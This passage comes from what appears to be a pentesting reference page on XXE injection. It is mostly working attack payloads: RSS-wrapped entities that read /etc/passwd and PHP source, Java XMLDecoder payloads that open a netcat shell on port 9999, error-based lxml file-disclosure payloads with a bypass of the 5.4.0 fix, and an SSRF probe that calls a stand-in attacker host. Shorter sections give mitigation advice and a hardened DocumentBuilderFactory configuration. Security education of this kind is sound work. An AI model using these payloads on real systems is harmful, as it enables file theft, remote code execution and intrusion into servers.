Blog</description> 646 <lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate> 647 <item> 648 <title>&xxe;</title> 649 <link>http://example.com</link> 650 <description>Test Post</description> 651 <author>author@example.com</author> 652 <pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate> 653 </item> 654 </channel> 655 </rss> 656 ``` 657 658 ### Read file 659 660 ```xml 661 <?xml version="1.0" encoding="UTF-8"?> 662 <!DOCTYPE title [ <!ELEMENT title ANY > 663 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 664 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> 665 <channel> 666 <title>The Blog</title> 667 <link>http://example.com/</link> 668 <description>A blog about things</description> 669 <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate> 670 <item> 671 <title>&xxe;</title> 672 <link>http://example.com</link> 673 <description>a post</description> 674 <author>author@example.com</author> 675 <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate> 676 </item> 677 </channel> 678 </rss> 679 ``` 680 681 ### Read source code 682 683 Using PHP base64 filter 684 685 ```xml 686 <?xml version="1.0" encoding="UTF-8"?> 687 <!DOCTYPE title [ <!ELEMENT title ANY > 688 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]> 689 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> 690 <channel> 691 <title>The Blog</title> 692 <link>http://example.com/</link> 693 <description>A blog about things</description> 694 <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate> 695 <item> 696 <title>&xxe;</title> 697 <link>http://example.com</link> 698 <description>a post</description> 699 <author>author@example.com</author> 700 <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate> 701 </item> 702 </channel> 703 </rss> 704 ``` 705 706 ## Java XMLDecoder XEE to RCE 707 708 XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, he will instantly gain code execution on the server. 709 710 ### Using Runtime().exec() 711 712 ```xml 713 <?xml version="1.0" encoding="UTF-8"?> 714 <java version="1.7.0_21" class="java.beans.XMLDecoder"> 715 <object class="java.lang.Runtime" method="getRuntime"> 716 <void method="exec"> 717 <array class="java.lang.String" length="6"> 718 <void index="0"> 719 <string>/usr/bin/nc</string> 720 </void> 721 <void index="1"> 722 <string>-l</string> 723 </void> 724 <void index="2"> 725 <string>-p</string> 726 </void> 727 <void index="3"> 728 <string>9999</string> 729 </void> 730 <void index="4"> 731 <string>-e</string> 732 </void> 733 <void index="5"> 734 <string>/bin/sh</string> 735 </void> 736 </array> 737 </void> 738 </object> 739 </java> 740 ``` 741 742 ### ProcessBuilder 743 744 ```xml 745 <?xml version="1.0" encoding="UTF-8"?> 746 <java version="1.7.0_21" class="java.beans.XMLDecoder"> 747 <void class="java.lang.ProcessBuilder"> 748 <array class="java.lang.String" length="6"> 749 <void index="0"> 750 <string>/usr/bin/nc</string> 751 </void> 752 <void index="1"> 753 <string>-l</string> 754 </void> 755 <void index="2"> 756 <string>-p</string> 757 </void> 758 <void index="3"> 759 <string>9999</string> 760 </void> 761 <void index="4"> 762 <string>-e</string> 763 </void> 764 <void index="5"> 765 <string>/bin/sh</string> 766 </void> 767 </array> 768 <void method="start" id="process"> 769 </void> 770 </void> 771 </java> 772 ``` 773 774 ## XXE + WrapWrap + Lightyear + bypasses 775 776 Take a look to this amazing report [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)<sup>[[17]](#references)</sup> 777 778 ## Tools 779 780 781 [Xxexploiter](https%3A//github.com/luisfontes19/xxexploiter) 782 783 ### Python lxml Parameter-Entity XXE (Error-Based File Disclosure) 784 785 > [!INFO] 786 > The Python library **lxml** uses **libxml2** under the hood. Versions prior to **lxml 5.4.0 / libxml2 2.13.8** still expand *parameter* entities even when `resolve_entities=False`, making them reachable when the application enables `load_dtd=True` and/or `resolve_entities=True`. This allows Error-Based XXE payloads that embed the contents of local files into the parser error message.<sup>[[10]](#references)[[11]](#references)</sup> 787 788 #### 1. Exploiting lxml < 5.4.0 789 1. Identify or create a *local* DTD on disk that defines an **undefined** parameter entity (e.g. `%config_hex;`). 790 2. Craft an internal DTD that: 791 * Loads the local DTD with `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`. 792 * Redefines the undefined entity so that it: 793 - Reads the target file (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`). 794 - Builds another parameter entity that refers to an **invalid path** containing the `%flag;` value and triggers a parser error (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`). 795 3. Finally expand `%local_dtd;` and `%eval;` so that the parser encounters `%error;`, fails to open `/aaa/<FLAG>` and leaks the flag inside the thrown exception – which is often returned to the user by the application. 796 797 ```xml 798 <!DOCTYPE colors [ 799 <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd"> 800 <!ENTITY % config_hex ' 801 <!ENTITY % flag SYSTEM "file:///tmp/flag.txt"> 802 <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>"> 803 %eval;'> 804 %local_dtd; 805 ]> 806 ``` 807 When the application prints the exception the response contains: 808 ```text 809 Error : failed to load external entity "file:///aaa/FLAG{secret}" 810 ``` 811 812 > [!TIP] 813 > If the parser complains about `%`/`&` characters inside the internal subset, double-encode them (`&#x25;` ⇒ `%`) to delay expansion. 814 815 #### 2. Bypassing the lxml 5.4.0 hardening (libxml2 still vulnerable) 816 `lxml` ≥ 5.4.0 forbids *error* parameter entities like the one above, but **libxml2** still allows them to be embedded in a *general* entity. The trick is to: 817 1. Read the file into a parameter entity `%file`. 818 2. Declare another parameter entity that builds a **general** entity `c` whose SYSTEM identifier uses a *non-existent protocol* such as `meow://%file;`. 819 3. Place `&c;` in the XML body. When the parser tries to dereference `meow://…` it fails and reflects the full URI – including the file contents – in the error message. 820 821 ```xml 822 <!DOCTYPE colors [ 823 <!ENTITY % a ' 824 <!ENTITY % file SYSTEM "file:///tmp/flag.txt"> 825 <!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>"> 826 '> 827 %a; %b; 828 ]> 829 <colors>&c;</colors> 830 ``` 831 832 #### Key takeaways 833 * **Parameter entities** are still expanded by libxml2 even when `resolve_entities` should block XXE.<sup>[[11]](#references)</sup> 834 * An **invalid URI** or **non-existent file** is enough to concatenate controlled data into the thrown exception. 835 * The technique works **without outbound connectivity**, making it ideal for strictly egress-filtered environments. 836 837 #### Mitigation guidance 838 * Upgrade to **lxml ≥ 5.4.0** and ensure the underlying **libxml2** is **≥ 2.13.8**. 839 * Disable `load_dtd` and/or `resolve_entities` unless absolutely required. 840 * Avoid returning raw parser errors to the client. 841 842 ### Java DocumentBuilderFactory hardening example 843 844 Java applications frequently parse XML using `DocumentBuilderFactory`. By default the factory **allows external entity resolution**, making it vulnerable to XXE and SSRF if no additional hardening flags are set:<sup>[[1]](#references)</sup> 845 846 ```java 847 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 848 DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone 849 ``` 850 851 Secure configuration example: 852 853 ```java 854 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 855 856 // Completely forbid any DOCTYPE declarations (best-effort defence) 857 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 858 859 // Disable expansion of external entities 860 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 861 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 862 863 // Enable "secure processing" which applies additional limits 864 dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); 865 866 // Defensive extras 867 dbf.setXIncludeAware(false); 868 dbf.setExpandEntityReferences(false); 869 870 DocumentBuilder builder = dbf.newDocumentBuilder(); 871 ``` 872 873 If the application must support DTDs internally, keep `disallow-doctype-decl` disabled but **always** leave the two `external-*-entities` features set to `false`. The combination prevents classical file-disclosure payloads (`file:///etc/passwd`) as well as network-based SSRF vectors (`http://169.254.169.254/…`, `jar:` protocol, etc.). 874 875 Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used the vulnerable constructor shown above. An unauthenticated attacker could supply a crafted XML body to the `CreateBucketConfiguration` endpoint and have the server embed local files (for example `/etc/passwd`) in the HTTP response. 876 877 ### XXE in JMF/Print Orchestration Services → SSRF 878 879 Some print workflow/orchestration platforms expose a network-facing Job Messaging Format (JMF) listener that accepts XML over TCP. If the underlying parser accepts a `DOCTYPE` and resolves external entities, you can leverage a classical XXE to force the server to make outbound requests (SSRF) or access local resources.<sup>[[12]](#references)</sup> 880 881 Key points observed in the wild:<sup>[[12]](#references)[[13]](#references)[[14]](#references)</sup> 882 - Network listener (e.g., JMF client) on a dedicated port (commonly 4004 in Xerox FreeFlow Core). 883 - Java-based XML parsing inside a jar (e.g., `jmfclient.jar`) without `disallow-doctype-decl` or entity resolution disabled. 884 - Out-of-band callbacks reliably confirm exploitation. 885 886 Minimal JMF-style SSRF probe (structure varies by product but the DOCTYPE is what matters): 887 888 ```xml 889 <?xml version="1.0" encoding="UTF-8"?> 890 <!DOCTYPE JMF [ 891 <!ENTITY probe SYSTEM "http://attacker-collab.example/oob"> 892 ]> 893 <JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z"> 894 <Query Type="KnownMessages">&probe;</Query> 895 </JMF> 896 ``` 897 898 Notes: 899 - Replace the entity URL with your collaborator. If SSRF is possible the server will resolve it while parsing the message. 900 - Hardenings to look for: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`. 901 - Even when the JMF port does not serve files, SSRF can be chained for internal recon or to reach management APIs bound to localhost. 902 903 References for this vector are listed at the end of the page. 904 905 ## References 906 907 - [1] [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) 908 - [2] [Black Hat EU 2013 – XML Data (Osipov) slides](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) 909 - [3] [XXE Cheat Sheet – web-in-security blog](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) 910 - [4] [From RSS to XXE: Feed Parsing on Hootsuite](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) 911 - [5] [PayloadsAllTheThings – XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md) 912 - [6] [staaldraad – XXE cheat sheet gist](https://gist.github.com/staaldraad/01415b990939494879b4) 913 - [7] [Exploiting XML External Entity (XXE) Injections – onehackman](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) 914 - [8] [PortSwigger Web Security Academy – XXE](https://portswigger.net/web-security/xxe) 915 - [9] [GoSecure XXE Workshop](https://gosecure.github.io/xxe-workshop/#7) 916 - [10] [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) 917 - [11] [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) 918 - [12] [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) 919 - [13] [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf) 920 - [14] [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) 921 - [15] [PHPOffice PhpSpreadsheet advisory - XXE in XLSX parsing](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7) 922 - [16] [Local file read via error-based XXE - pwn.vg](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) 923 - [17] [Impossible XXE in PHP - PT Swarm](https://swarm.ptsecurity.com/impossible-xxe-in-php/) 924 - [18] [medium.com - Googlectf 2019 Web Bnv Writeup Nicholas Rianto Putra Medium](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) 925 - [19] [Hakatemia - XXE in Excel and Word Files (OOXML)](https://www.hakatemia.fi/en/courses/xxe/ooxml-xxe)